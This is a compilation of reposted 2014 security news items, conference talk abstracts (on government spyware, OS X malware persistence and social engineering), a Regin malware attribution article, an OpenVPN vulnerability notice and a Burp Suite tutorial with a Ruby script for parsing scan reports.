Virus Bulletin - Hacking Team And Gamma International In 'Business-To-Government Malware' Description: FinFisher, a.k.a. FinSpy, is a spying complex for various platforms developed by a British company called Gamma International. The company is based in Andover, UK, and according to their website they are focused on creating remote monitoring solutions for various governmental institutes. Da Vinci can be dubbed in the same way: a multi-platform spying complex. It is developed and supported by an Italian company based in Milan called Hacking Team. According to their website they are focused on providing offensive technologies to different law enforcement agencies and intelligence communities. Between them, Gamma International and Hacking Team have already developed and sold to third parties a number of backdoors and spying tools for different platforms like Windows, Mac OS X, Windows Mobile, Android, Blackberry and others. All the samples we've seen so far would be classified as malicious from an AV vendor point of view: they work silently and leave almost no traces; they are able to steal a lot of types of personal information; they can receive commands and execute them; they are signed by trusted certificates or have an ability to self-propagate; there is no EULA shown before, during or after 'installation' This presentation will cover all known and unknown details about different versions of Da Vinci and FinSpy. We will expose all similarities and differences between them. We will also discuss the question of the 'business-to-government' malware market, which has become a reality in 2012 and continues to be discussed in 2013. If you like IDA screenshots, black consoles, maps and photos, then this paper and presentation is for you! For More information please visit: - https://www.virusbtn.com/index Sursa: Virus Bulletin - Hacking Team And Gamma International In 'Business-To-Government Malware'

Virus Bulletin - Methods Of Malware Persistence On Mac Os X Description: As Mac OS X continues to increase in popularity, OS X malware, once a rare phenomenon, is now more common than ever. Due to this, it is essential for forensic and malware analysts to possess an in-depth understanding of OS X and how it may be attacked by malicious code. In general, malware on any OS is designed to persist across reboots, ensuring that it is automatically executed whenever an infected system is restarted. This paper presents a detailed analysis of both the boot and logon process of Apple's latest OS; OS X Mavericks. Throughout the analysis, methods that may be abused by malicious adversaries to ensure malware persistence, will comprehensively be identified. To help illustrate the claims of the analysis, real-world examples of OS X malware will be presented that target portions of the OS in order to gain persistence. For any novel persistence techniques, proof of concept code will be discussed, with the goal of preventing future attacks. Finally, an open-source tool will be demonstrated that can enumerate and display persistent OS X binaries that are set to execute automatically upon reboot. As a result of reading this paper, or attending its presentation, participants will gain a thorough understanding of the OS X boot and logon process, as well as the components that are targeted by persistent malware. Armed with this knowledge, it is hoped that persistent OS X malware will be readily thwarted. For More information please visit: - https://www.virusbtn.com/index Sursa: Virus Bulletin - Methods Of Malware Persistence On Mac Os X

Hope X - Social Engineering Description: The tenth incarnation of this panel, which officially makes it a tradition. One of our biggest draws, this session always delivers something memorable. The panel will tell stories of the magic of social engineering, predict what may or may not be possible in the future, and make a few live attempts over the phone to gain information they have absolutely no right to possess. Sometimes it works and sometimes it fails horribly, as is the very nature of social engineering. You'll learn how to recover from being denied or busted and how to push forward, gaining tiny bits of information until you possess more knowledge about your target than you (or they) ever thought possible. Speakers: Emmanuel Goldstein and friends For More Information please visit: - [HOPE X] Speakers Sursa: Hope X - Social Engineering

Owasp Appsecusa 2014 - Top 10 Web Hacking Techniques Of 2013 Description: Top 10 Web Hacking Techniques of 2013 Every year the security community produces a stunning number of new Web hacking techniques that are published in various white papers, blog posts, magazine articles, mailing list emails, conference presentations, etc. Within the thousands of pages are the latest ways to attack websites, Web browsers, Web proxies, and their mobile platform equivalents. Beyond individual vulnerabilities with CVE numbers or system compromises, we are solely focused on new and creative methods of Web-based attack. Now in its eighth year, the Top 10 Web Hacking Techniques list encourages information sharing, provides a centralized knowledge base, and recognizes researchers who contribute excellent work. In this talk, We will do a technical deep dive and take you through the Top 10 Web Hacks of 2013 as picked by an expert panel of judges. This year’s winners are: 1 - Mario Heiderich – Mutation XSS 2 - Angelo Prado, Neal Harris, Yoel Gluck – BREACH 3 - Pixel Perfect Timing Attacks with HTML5 4 - Lucky 13 Attack 5 - Weaknesses in RC4 6 - Timur Yunusov and Alexey Osipov – XML Out of Band Data Retrieval 7 - Million Browser Botnet 8 - Large Scale Detection of DOM based XSS 9 - Tor Hidden-Service Passive De-Cloaking 10 - HTML5 Hard Disk Filler™ API Speakers Matt Johansen Senior Manager, WhiteHat Security Matt Johansen is a Sr. Manager for the Threat Research Center at WhiteHat Security where he manages a team of Application Security Specialists, Engineers and Supervisors to prevent website security attacks and protect companies’ and their customers’ data. Before this he was an Application Security Engineer where he oversaw and assessed more than 35,000 web applications that WhiteHat has under contract for many Fortune 500 companies across a range of technologies. Johnathan Kuskos Senior Application Security Engineer, WhiteHat Security Johnathan Kuskos is a Senior Application Security Engineer for WhiteHat Security's Threat Research Center in Houston, Texas. After personally assessing several hundred web applications, he moved into a managerial role so that he could contribute to mentoring younger security engineers. Later this year he'll be moving to Belfast, Ireland to head up the new EU division of WhiteHat Security's Threat Research Center. For More Information please visit : - AppSec USA 2014 - AppSec USA 2014 Sursa: Owasp Appsecusa 2014 - Top 10 Web Hacking Techniques Of 2013

[h=2]Cybercriminals Testing New PoS Malware 'Poslogr'[/h] By Eduard Kovacs on December 01, 2014 Researchers at Trend Micro have come across a sample of a new point-of-sale (PoS) malware that appears to be under development. Detected by the security firm as TSPY_POSLOGR.K, the threat relies on multiple components to carry out its mission, which makes it similar to a recently discovered variant of the notorious BlackPoS malware (TSPY_MEMLOG.A). Poslogr is designed to read the memory associated with specific processes in an effort to obtain payment card information. The data is then saved to files named "rep.bin" and "rep.tmp." The list of targeted processes is specified in a .INI file that acts as a configuration file. However, researchers haven't found the configuration file on the infected system so it's uncertain which processes are scanned by the malware. The same configuration file also includes a variable that specifies the time interval for re-scanning the processes. There are several other clues that have led experts to believe that Poslogr is either under development or still in the beta testing phase. For example, the malware's code contains debugging information, it doesn't connect to any command and control (C&C) server, and it doesn't upload the harvested data. Since Poslogr appears to be a multicomponent malware, researchers assume that the component responsible for transferring the dumped data is deployed as a package. According to Trend Micro, the threat is distributed via drive-by downloads and with the aid of other malware. Last week, researchers at threat intelligence company IntelCrawler reported uncovering a new PoS malware targeting electronic kiosks. Dubbed "d4re|dev1|," the malware has been spotted on close to 80 machines in the European Union, the United States and Australia. It's not surprising that the number of threats designed to target PoS systems is increasing, considering that this type of malware has been successfully used in a large number of operations. In the attack against the U.S. retailer Target, cybercriminals managed to steal more than 40 million credit and debit card records with the aid of the BlackPOS malware. The Backoff RAM scrapper has also been used in numerous attacks. In August, the U.S. Secret Service estimated that over 1,000 businesses had been hit. Sursa: Cybercriminals Testing New PoS Malware 'Poslogr' | SecurityWeek.Com

Crashing WhatsApp by sending a specially crafted message by Pierluigi Paganini on December 1st, 2014 Indian researchers have discovered a flaw in WhatsApp that allows anyone to remotely crash the popular mobile app by sending a specially crafted message. A “nice” vulnerability has been discovered in the popular messaging app WhatsApp that could be exploited by an attacker to remotely crash the mobile app just by sending a specially crafted message. The news was reported by two Indian security researchers that contacted the colleagues at ‘The Hacker News’. The two India based researchers, Indrajeet Bhuyan and Saurav Kar, are very young, they are both 17-year old teenagers and have reproduced the exploitation of the vulnerability in the WhatsApp Message Handler. TheHackersNews portal has published a video PoC in which is demonstrated that by sending a 2000 words (2kb in size) message in a special character set is possible to cause the crash of the WhatsApp recipients’ app. As explained by the researchers, the bug in the WhatsApp is really worrying because in order to restore a normal operation, the targeted user will have to delete his whole conversation and start a new chat session. This anomalous behavior is caused by the presence of the malicious message within the chat messages that will cause the WhatsApp crash unless the chat is deleted completely. “What makes it more serious is that one needs to delete entire chat with the person they are chatting to in order to get back whatsapp work in normal,” Bhuyan told THN in an e-mail. The serious flaw affects most of the Android versions currently available on the market including Jellybean, Kitkat, and all the below android versions. Also WhatsApp groups are seriously impacted by the vulnerability, an attackers could intentionally send a specially crafted message to exit people from the group and delete the group. Just by sending a specially crafted message is possible to avoid that a member of the group maintains trace of attacker’ chat with him, because the message will cause the crash of the targets. The Indian researchers still haven’t massively tested the flaw in iOS version of WhatsApp, meanwhile the attack doesn’t work on Windows 8.1. These guys are really a wonder, what do you think? Pierluigi Paganini (Security Affairs – WhatsApp, hacking) Sursa: Crashing WhatsApp by sending a specially crafted message | Security Affairs

Samurai Web Testing Framework [h=2]Description[/h] The Samurai Web Testing Framework is a LiveCD focused on web application testing. We have collected the top testing tools and pre-installed them to build the perfect environment for testing applications. Samurai Web Site Download: Download Samurai from SourceForge.net Sursa: Samurai | SourceForge.net

Regin: State-Sponsored Malware or Cybercrime? Regin, a highly advanced spying tool A few weeks ago, Symantec security firm published the results of its investigation on the backdoor Regin, a highly advanced spying tool used in cyber espionage campaigns against governments, private companies, researchers, private individuals and infrastructure operators worldwide. Regin is considered much more than a highly sophisticated malicious code; experts consider it a complex modular hacking platform. The modular structure makes this malware a very flexible agent that could be used by operators to tailor a campaign to individual targets. The analysis of Regin revealed that it has a degree of technical competence rarely seen. Security experts speculate that it has some resemblance to other state-sponsored malware like Flame, Duqu, and the popular Stuxnet. The security community is unanimous: the effort spent to develop the backdoor Regin appears significant. Experts confirm that it required months or years to be completed. As we will evaluate together, the complexity of the malware led researchers to believe that Regin was developed by a nation-state to spy on a wide range of international targets across several industries and to prepare further attacks. However the problem of “attribution” for the creation of the spying tool is not easy to solve. Some illustrious security experts are convinced that the platform can be developed by a criminal organization, and we’ll see why. Just for information, the name Regin was assigned by Microsoft to describe the underlying Trojan. The evasion technique The experts at Symantec provided a detailed description of the complex evasion technique implemented by the author of Regin, which allowed the backdoor to remain under the radar for a long time. The technique exploits a multi-stage process, and each stage is hidden and encrypted. Regin is structured into six stages, each of which is encrypted, except for the first one, which is used to launch the initial loader. The execution of the first stage triggers a domino chain in which at each step the stage is decrypted and executed, and that in turn decrypts the successive stage, and so on. Figure 1 – The stages of Regin (Symantec report) “As outlined in a new technical whitepaper from Symantec, Backdoor.Regin is a multi-staged threat and each stage is hidden and encrypted, with the exception of the first stage. Executing the first stage starts a domino chain of decryption and loading of each subsequent stage for a total of five stages. Each individual stage provides little information on the complete package. Only by acquiring all five stages is it possible to analyze and understand the threat,” states the blog post from Symantec. Figure 2 – Regin graphical representation of multi-stage evasion technique Researchers have identified dozens of different payloads used by the Regin platform to spy on the targeted machine, despite that principal functions implemented by the authors include code for common activities (i.e. stealing passwords, monitoring network traffic, capturing screenshots, seizing control of the target’s mouse, and recovering deleted files), some payloads appear to be tailored to specific targets. The analysis issued by Symantec reports a component that was designed to sniff the traffic of mobile telephone base station controllers and another to monitoring the traffic of a Microsoft IIS server. The method described allowed bad actors to operate in the shadows since 2008. Some researchers believe that Regin was active several years earlier. Regin is known to have been active until 2011, and the malware resurfaced later in 2013 when the researchers at Symantec detected it. It is important to highlight that Regin likely has several more versions. According to Symantec experts, there may be versions prior to 1.0 and versions between 1.0 and 2.0. “Essentially, what we think we’re looking at is different campaigns where in one infection they needed to sniff your keyboard whereas in another infection they wanted grab the user name and password of the admin connected to a base station controller,” Liam O’Murchu, manager of operations for Symantec Security Response, reported to Ars. Below is the timeline published by Symantec. Regin Version 1.0 appears to have been used from at least 2008 to 2011, when it appears to have been abruptly withdrawn from circulation in 2011. Version 2.0 has been used starting from 2013. Target profile As explained in the introduction, the Regin was used by threat actors to hack systems across several industries, including: Government institutions Multi-national political bodies Telecom operators Financial institutions Research institutions and individuals involved in advanced mathematical/cryptographical research (e.g. popular Belgian cryptographer Jean Jacques Quisquater). The geographic distribution of the infections detected by the teams involved in the investigation is quite similar. The Regin backdoor was discovered in several countries worldwide, but according to publicly available data, there are no victims in the US, in the United Kingdom (in reality none of the Five Eyes countries has been targeted by Regin) and Israel. As explained by researchers at Kaspersky Lab, the identification of the infected machines is advantaged by the fact that even after Regin is uninstalled, certain artifacts and infection markers are still present in the systems. The Kaspersky Lab team has identified the infection in 14 countries. Figure 3 -Geographical distribution of Regin victims (Kaspersky LAB report) [TABLE] [TR] [TD] Algeria Afghanistan Belgium Brazil Fiji Germany Iran [/TD] [TD] India Indonesia Kiribati Malaysia Pakistan Russia Syria [/TD] [/TR] [/TABLE] The infections of Regin detected by Symantec have highlighted that the attacks were prevalently observed in ten different countries. The number of infections is prevalent in the Russian Federation (28 percent), Saudi Arabia (24 percent), Ireland (9 percent) and Mexico (9 percent). Figure 4 – Backdoor Regin Geographic distribution (Symantec Report) The analysis of the distribution of targeted industries reveals that Regin was used to compromise Telecom Backbone in 28 percent of the attacks, and that in 48 percent of attacks, the victims were private individuals and small businesses. The experts believe that the operators managing the cyber espionage campaign were interested in spying on specific customers of the targeted companies. Figure 5 – Backdoor Regin targeted industries (Symantec Report) The infections of Regin detected by Symantec are also geographically diverse. Attacks were observed in mainly in ten different countries; the Russian Federation (28%), Saudi Arabia (24%), Ireland (9%) and Mexico (9%) lead the list. The infection vector There isn’t a common infection vector for the attacks run by threat actors behind the Regin campaign, the experts confirmed. In fact, that infection vector varies among the targets. According to Symantec, targets may be tricked into visiting spoofed versions of popular website websites or compromised through a watering hole attack. On one computer, log files show that Regin originated from Yahoo! Instant Messenger through an unconfirmed exploit. Researchers at Kaspersky, speaking about initial compromise and lateral movement, confirmed that there isn’t information regarding the exact method used for the initial compromise. As explained in the Kaspersky report, several theories exist on the initial compromise, including the use of man-in-the-middle attacks in conjunction with browser zero-day exploits. For some of the victims, we observed tools and modules designed for lateral movement The backdoor Regin implements a modular approach that makes the agent a privileged attack tool for a wide type of attacks against different targets. The operators just loading a custom module tailored to individual targets can exploit its systems. Some victims were targeted with Regin payloads that allowed the attackers to replicate the agent within the targeted systems. The replication modules are copied and executed to remote computers using Windows administrative shares, a technique that requires administrative privileges inside the victim’s network. “In several cases the infected machines were also Windows domain controllers. Targeting of system administrators via web-based exploits is a simple way of achieving immediate administrative access to the entire network,” states Kaspersky in its report. Regin backdoor used to compromise the GSM Networks Security experts have elaborated different theories related to the authors of the backdoor Regin, but it is unique that the development of the Regin platform required a significant effort due to the level of complexity it shows. According to the experts at Kaspersky, one of the most intriguing attacks operated with Regin tool is an infection of a large GSM operator. The GSM standard is still widely used worldwide, especially in Africa and the Middle East. The researchers investigating an attack against a GSM operator from the analysis of activity log of a GSM base station controller discovered that bad actors gained access to the GSM network. The attackers have stolen the credentials to access the GSM network, and the intrusion allowed them to control GSM cells of a large operator. The attackers had access to the overall information about the activity of the targets within cells of the network. The threat actors would also use the access to the network to perform offensive actions against the victims. “The ability of this group to penetrate and monitor GSM networks is perhaps the most unusual and interesting aspect of these operations. In today’s world, we have become too dependent on mobile phone networks which rely on ancient communication protocols with little or no security available for the end user. Although all GSM networks have mechanisms embedded which allow entities such as law enforcement to track suspects, there are other parties which can gain this ability and further abuse them to launch other types of attacks against mobile users,” states the post on SecureList. The researchers at Kaspersky revealed that in April 2008, the threat actors gained access to administrative credentials that would allow them to manipulate a GSM network in a Middle Eastern country. Another interesting feature implemented by hackers is related to the control infrastructure used in the attack. The attackers avoided using a network of Command and Control servers directly linked to the infected machine; instead they used a P2P networking system in which each node of the architecture was one the of targeted systems that normally was establishing communication with other compromised entities. The technique allows the attackers to remain under the radar for a long time. “In this specific country, all the victims we identified communicate with each other, forming a peer-to-peer network. The P2P network includes the president’s office, a research center, educational institution network and a bank. These victims spread across the country are all interconnected to each other. One of the victims contains a translation drone which has the ability to forward the packets outside of the country, to the C&C in India. This represents a rather interesting command-and-control mechanism, which is guaranteed to raise very little suspicions. For instance, if all commands to the president’s office are sent through the bank’s network, then all the malicious traffic visible for the president’s office sysadmins will be only with the bank, in the same country.” The Regin backdoor allowed bad actors to issue several commands to the base station controller, including the listing of the current call forwarding settings of the Mobile Station and stopping cells in the GSM network. Figure 6 . P2P control infrastructure uncovered by Kaspersky Team Cybercrime or state-sponsored hacking campaign? Symantec reported in its analysis that the development of Regin required a significant effort, and many experts immediately accused a Western intelligence agency for the massive espionage campaign. As we will see soon, there are also other illustrious opinions on the case; a part of the security community considers that it is not possible to exclude in this phase that Regin is the product of cybercrime. Regin linked to US and British intelligence In a post published on The Intercept website, it is stated that the Regin attack platform is a technology designed by U.S. and British intelligence agencies, according to security industry sources and technical analyses conducted by The Intercept itself. Ronald Prins, the security expert at Fox IT who was hired to remove the malware from Belgacom’s networks, reported to the The Intercept that Regin is “the most sophisticated malware” he had ever analyzed. The expert also hypothesized that British or the US intelligence may have created Regin. “Having analyzed this malware and looked at the [previously published] Snowden documents,” Prins said, “I’m convinced Regin is used by British and American intelligence services.” Figure 7 – Prins’s Tweet on the Regin case Prins confirmed his conviction that the NSA and the GCHQ are behind Regin; he highlighted that UNITEDRAKE and STRAIGHTBIZARRE are codenames of NSA programs, according to Snowden’s leaked documents. “While those codenames are not mentioned in the malware”, Prins confirmed that their description in the Snowden documents matches with “the functionality of parts of the Regin framework.” The Intercept reports that the GCHQ intelligence agency gained access to Belgacom’s internal systems in 2010 by targeting engineers at the company. The operation was coded Operation Socialist and the GCHQ implanted malware “implants” on the staff computers by hijacking their Internet connection to a bogus LinkedIn page. The page was used by attackers to serve a malware which provided the spies total control of the targeted systems. “The implants allowed GCHQ to conduct surveillance of internal Belgacom company communications and gave British spies the ability to gather data from the company’s network and customers, which include the European Commission, the European Parliament, and the European Council. The software implants used in this case were part of the suite of malware now known as Regin.” Based on the investigation of the Regin samples, the experts suspect that it was designed in a course of more than a decade. The Intercept has identified traces of its components dating back as far as 2003. Both the GCHQ and the NSA declined to comment the report published by The Intercept. Is it possible to attribute the backdoor Regin to the cybercrime? In this phase it is quite impossible to attribute precisely the development of the Regin malware to a specific category of threat actors. Until now we have discussed about a possible involvement of a government in its design, but there are also cyber security experts that haven’t excluded other hypotheses. I have contacted one of the most popular security researchers in the world, Raoul Chiesa, who is President, Head of Information Superiority for MoD Unit at Security Brokers and advisor to several Institutions, including UNICRI, ENISA and member of the board of Directors for ISECOM, CLUSIT, OPSI-AIP. I asked to Raoul to share with me his vision on the Regin case, trying to explain how it is possible to speculate on the involvement of cybercriminal organizations. Figure 8 – Raoul Chiesa Pierluigi: Hi Raoul, you have declared that Regin could be the product of a criminal organization. In your opinion, which are the elements that distinguish the Regin platform from others identified in the past, such as Flame or Duqu? Raoul: As usually happens in these cases, there aren’t sufficient elements in this phase to express an objective judgment. In several interviews that I released to the media agencies, I have highlighted that in my humble opinion Regin seems a product of organized crime rather than intelligence. Given this, it is important to analyze two aspects of my comment: first, the fact that Regin also implements a credential stealing functionality that allowed attackers to syphon login credentials for social networks (and this can be part of intelligence information gathering), but also for online banking services. In this second case, the scenario most plausible is obviously the cybercrime. Second, the reference to the telecommunication companies (mobile operators): I’m conducting penetration tests for 20 years, I’m a member of the TSTF (Telecom Security Task Force) and I have a deep knowledge of the complexity for a mobile infrastructure. I think that it is not possible to automatize an attack against these systems, it could result [in being] too complex due to the presence of Network Elements produced by different vendors. In several cases, when specific industries are targeted, spear phishing is an evergreen attack vector. With a spear phishing attack, hackers can compromise a machine inside the targeted infrastructure to move the attack from the workstation usually used an OSS operator. But, again, to automate the data exfiltration is really too complicated. Let’s think to the billing (CDR, Call Detail Records), which is also the privileged target of an intelligence agency. In complex infrastructure, the overall operations are the result of activities executed by software from different vendors and the integration of a large number of complex Database Management Systems. I read many posts that compared Regin to Stuxnet, well, even if it can seem absurd, a Telco infrastructure is much more complex than systems within an energy plant. Consider also that the SCADA word is still more insecure [than] telecommunication, despite [that] the number of zero-day specific for Telco equipment is very high. Analyzing the Regin case, it could be very interesting to understand if the targeted mobile operators were using the same technologies for their network infrastructure. This would be a first important factor for a serious assessment. Pierluigi: The reports published by Symantec and Kaspersky highlight the high level of complexity of the Regin malware. Another element [that is] very unusual is the attack against the GSM infrastructure. Assuming that there is behind a criminal organization behind Regin, [what] are their means and resources? In my experience probably only the RBN (Russian Business Network) was able to support a huge investment in research and resources, like the one behind Regin. Do you think that there is a new similar organization in the wild? Raoul: Well Pierluigi, I’m currently at the Defcam where I had the opportunity to speak with my friend and colleague Mika Lauhde at ENISA PSG, and former Global Chief Security Officer at Nokia. Mika told me that some confidential sources from an important antivirus vendor revealed that they have discovered traces of Regin in 2003, in 2005, and after 2005, it disappeared. This information changes my point of view and [leads] me think that Regin is a probably a product of the intelligence instead [of] the cybercrime. Regarding your question, as you correctly said, the RBN was a really complex organization, flexible and with significant financial resources. The security landscape is completely changed since the alleged disappearance of the RBN. Today the intelligence agencies have a primary interest in mobile operator data. In this sense, I can agree with those experts that consider Regin as a product of the intelligence. Mobile operators are a privileged target for the intelligence. Today everyone has a mobile phone that collects his data, that has information on his social network and contacts, that traces his position everywhere he goes. To gain the access to the CDR, to the billing, to the SMS is nearly “priceless”, but investments are impressive. But, here is the concretization of my thought: why so huge investments to automate a hacking platform that needs to be tailored every time? It is more convenient for the attackers use a dedicated team of hackers that operates manually in a stealth way and that is able to exfiltrate just the data the intelligence agencies need. Automated attacks are surely noisier than tailored operations. Speaking with Mika I had information about other factors that suggests the involvement of a government, but I cannot disclose further data. As I told you the information led me to believe that Regin was designed by an intelligence agency, probably the US one. If the news [is confirmed] that the first traces of Regin were dated 2003 and 2005, well, I was not aware of cybercriminal gangs [being] active for so long. I would like to do other assessments, [like] the SO-CALLED “object of interest”, which is not ‘just’ data of Telco companies, but also financial. But as I said, to date I cannot say more because I signed an “NDA from Gentlemen’s Agreement”. Pierluigi: Raoul, it’s my opinion that we run the serious risk that an incorrect attribution can trigger a series of diplomatic crisis and hacking campaigns in the cyberspace that can destabilize some balances. I have seen too many experts to express too hasty judgment on Regin. What is your opinion? Roaul: You are right. When experts express their opinion too hastily, not specifying that they are making hypotheses on the events (as I showed myself with ANSA and other media), [it] is dangerous. I made clear that the attribution is the greatest difficulty when it comes to data breaches, malware and any other kind of cyber attack. Let’s see what will happen. I do not care to “be right” or not, I consider important to avoid spreading wrong alarms and that every scenario, every threat actor and every motivation behind the attack must be carefully analyzed. Conclusion Let me close the post with the consideration made by Costin Raiu, Director, Global Research & Analysis Team, who invited to be more cautious, warning that “on the Internet, attribution can very easily fail and false flag operations are quite common.” The investigations are still ongoing. Researchers at Symantec, for example, are aware of only about 100 infections, but such a powerful platform was surely used in a larger number of targeted attacks still uncovered. The researchers haven’t yet analyzed one of the Command and Control servers the attackers used. The knowledge of the control infrastructure provides to the experts a huge quantity of data that could support further analysis. Stay tuned for further information. References Regin: Top-tier espionage tool enables stealthy surveillance | Symantec Connect Regin - Highly advanced spying tool discovered by Symantec | Security Affairs https://firstlook.org/theintercept/2014/11/24/secret-regin-malware-belgacom-nsa-gchq/ https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf Regin backdoor used to compromise the GSM Networks | Security Affairs https://www.us-cert.gov/ncas/alerts/TA14-329A http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/regin-analysis.pdf What we know about 'Regin,' the powerful malware that could be the work of NSA Regin: Nation-state ownage of GSM networks - Securelist 'Regin' malware comes from western intelligence agency, say experts | Technology | The Guardian https://www.f-secure.com/weblog/archives/00002766.html https://www.virustotal.com/en/file/b12c7d57507286bbbe36d7acf9b34c22c96606ffd904e3c23008399a4a50c047/analysis/ Belgacom hack, state-sponsored attack hypothesis | Security Affairs By Pierluigi Paganini|December 1st, 2014 Sursa: Regin: State-Sponsored Malware or Cybercrime? - InfoSec Institute

[h=2]Critical denial of service vulnerability in OpenVPN servers[/h]Hi all, A critical denial of service security vulnerability affecting OpenVPN servers was recently brought to our attention. A fixed version of OpenVPN (2.3.6) will be released today/tomorrow (1st Dec 2014) at around 18:00 UTC. Brace yourselves for the update. Best regards, -- Samuli Seppänen Community Manager OpenVPN Technologies, Inc Sursa: https://forums.openvpn.net/topic17625.html

Burp Suite Tutorial – Web Application Penetration Testing (Part 2) 2014/11/14 Author: Royce Davis In the last article we introduced some of the useful features that Burpsuite has to offer when performing a Web Application Penetration Test. In part 2 of this series we will explore some additional functionality including: Validating Scanner Results, Exporting Scanner Reports, Parsing XML Results, Saving a Burp Session and Burp Extensions. Lets get right to it! Burp Suite Tutorial – Validating Scanner Results Its always a good idea to thoroughly validate the results of any automated scanning tool. Burpsuite provides everything you need to do this on the “Scanner/Results” tab. Click on a node in the left pane to see the identified vulnerabilities associated with that target. The right-hand lower pane displays the verbose Request/Response information pertaining to the specific vulnerability selected from the right-hand upper pane. The “Advisory” tab contains information about the vulnerability including a high-level detail, description and proposed recommendation. The “Request” & “Response” tabs will display exactly what Burpsuite sent to the target application in order to check for the vulnerability as well as what was returned by the application. Take a look at the example below. Figure #1 – Validating Scanner Results The request tab shows us which page generated the alert. https://www.pentestgeek.com/wp-content/cache/minify/000000/NYtBDoAgDMA-JFsML5oEYShDYSbwez3goUl7qMV0P76OxU4xmUMl9ZBZlhVdpVHEtCFK3UQO8fxQXzE13Enc2EqfK_wNLKxwkTte.js Just by requesting this page in a browser, or viewing the “Response” tab, We are able to validate that the email address allegedly disclosed was in fact present in the response. We can consider this issue to be validated and move on. Figure #2 – Validating Scanner Results #ProTip Make sure to perform this step on each and every vulnerability identified by the scanner. All automated scanning tools produce false-positives due to the nature of the testing being done. Most companies are capable of buying tools and running them on their networks. Pentesters are hired specifically to identify and remove these false positives Burp Suite Tutorial – Exporting Scanner Reports Once you have validated the scanner results you might want to generate some type of a report. There are two report options available from the “Scanner/Results” tab, HTML and XML. To generate a report right-click on a target from the left-hand display pane and select “Report selected issues”. This will present you with the following Dialog box. Figure #3 – Exporting Scanner Reports Click through the Wizard and select which items you want in your report and which format. The HTML report can be opened up in a browser and then exported to a PDF format which can be useful to help communicate findings to your client. The XML report allows you to parse out specific sections of a report for more granular detail. If you generate an XML report, make sure you uncheck the Base64 encoder option to see full HTTP Request/Responses. Burp Suite Tutorial – Parsing XML Results I’ve written a simple Ruby script to parse out data from the XML output generated from an automated Scan. The script utilizes the Nokogiri gem and outputs the results into a column delimitated CSV file which can be imported into Excel to produce a nice spreadsheet. If you have a basic understanding of parsing XML nodes using CSS selectors, you will have no trouble modifying the script to suite your specific needs. Head over to the Git repository and clone the branch. Looking at the source code we can see where the parsing magic takes place. def clean_finding(finding) output = [] output << 'Web Application Findings' output << '' output << finding.css('severity').text output << 'Open' output << finding.css('host').text output << finding.css('path').text output << finding.css('issueDetail').text output << finding.css('name').text output << finding.css('issueBackground').text output << finding.css('remediationBackground').text response = finding.css('response').text if response.include?('Server:') output << response.split('Server: ')[1].split("\n")[0] end output end [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [/TD] [TD=class: crayon-code]def clean_finding(finding) output = [] output << 'Web Application Findings' output << '' output << finding.css('severity').text output << 'Open' output << finding.css('host').text output << finding.css('path').text output << finding.css('issueDetail').text output << finding.css('name').text output << finding.css('issueBackground').text output << finding.css('remediationBackground').text response = finding.css('response').text if response.include?('Server:') output << response.split('Server: ')[1].split("\n")[0] end output end [/TD] [/TR] [/TABLE] You can see that simply calling the .css method and passing (‘[VALUE YOU WANT]‘).text as a paramater will allow you to scoop out whatever specific items you would like from the XML soup. Run the script with no arguments and you’ll see it takes an XML file and spits output to the screen. [ # ] $ ./parse-burp.rb Parse Burpsuite XML output into Tab delimited results Example: ./parse-brup.rb > output.csv [ # ] $ You can catout the results into a file.csv if you like. The CSV file can then be imported into an Excel spreadsheet which looks like this. Figure #4 – Parsing XML Results Burp Suite Tutorial – Saving a Burp session In some cases it might be necessary to pause an assessment and come back later. You also might find yourself wanting to share your Burpsuite session with another consultant. Two eyes are often better then one after all. In these instances the easiest thing to do is to save a local copy of your session. Simply select “Save state” from the Burp menu at the top. This will create a flat file which you or another consultant can import into Burpsuite and see all of the captured traffic and test cases. This is an extremely useful feature. If you have tried to do this in the past and noticed the size of the resulting file to be unnecessarily large (hundreds of MBs). It is possible you forgot to check the “Save in-scope items only” check-box. Figure #5 – Saving a Burp session If you setup your scope following the guidelines in Part 1 you shouldn’t have to worry about a massive sate file. The next page of the Wizard asks you which tools you would like to store the configuration of. I have found that having them all checked or all unchecked does not appear to affect the size of the file much if at all but feel free to play with these options and make up your own mind. Figure #6 – Saving a Burp session To restore a previously saved burp sate simply select “Restore state” from the Burp menu at the top. Select the file from your system, click “Open” and follow the instructions of the Wizard. Depending on the size of the state file it may take a moment to import everything but once finished you can continue your assessment or someone else’s for that mater as if you had never paused in the first place. Its pretty cool! Burp Suite Tutorial – Burp Extensions Burp extensions are after-market additions written by other pentesters that can be easily installed and configured to add enhanced or additional features to Burpsuite. To demonstrate this process we’ll download and install the “Shellshock Burp Plugin” from the Accuvant LABS Github page. Browse to the following URL https://github.com/AccuvantLABS/burp-shellshock and click the “Download here!” link. Figure #7 – Click the Download here! link Next click on the “Extender” tab within Burpsuite and click he “Add” button at the top-left corner. When the dialog box pops up select the Shell Shock .jar file you just downloaded and click Next. Figure #8 – Select the .jar file If everything went well you should see a message stating “The extension loaded successfully” with no errors messages or output. Now the Extensions tab shows our “Shellshock Scanner” extension is loaded. We can see from the Details section that a new Scanner check has been added. Figure #9 – Burp Extension loaded successfuly Burp Suite Tutorial – End Of Part2 I hope this tutorial was useful to you. After reading both articles in this series you should be familiar with many of the critical features offered within the Burpsuite. Please take advantage of the comment section below to provide feedback/questions or check us out on the Pentestgeek Forums. Thanks for reading! Sursa: https://www.pentestgeek.com/2014/11/14/burp-suite-tutorial-web-application-penetration-testing-part-2/

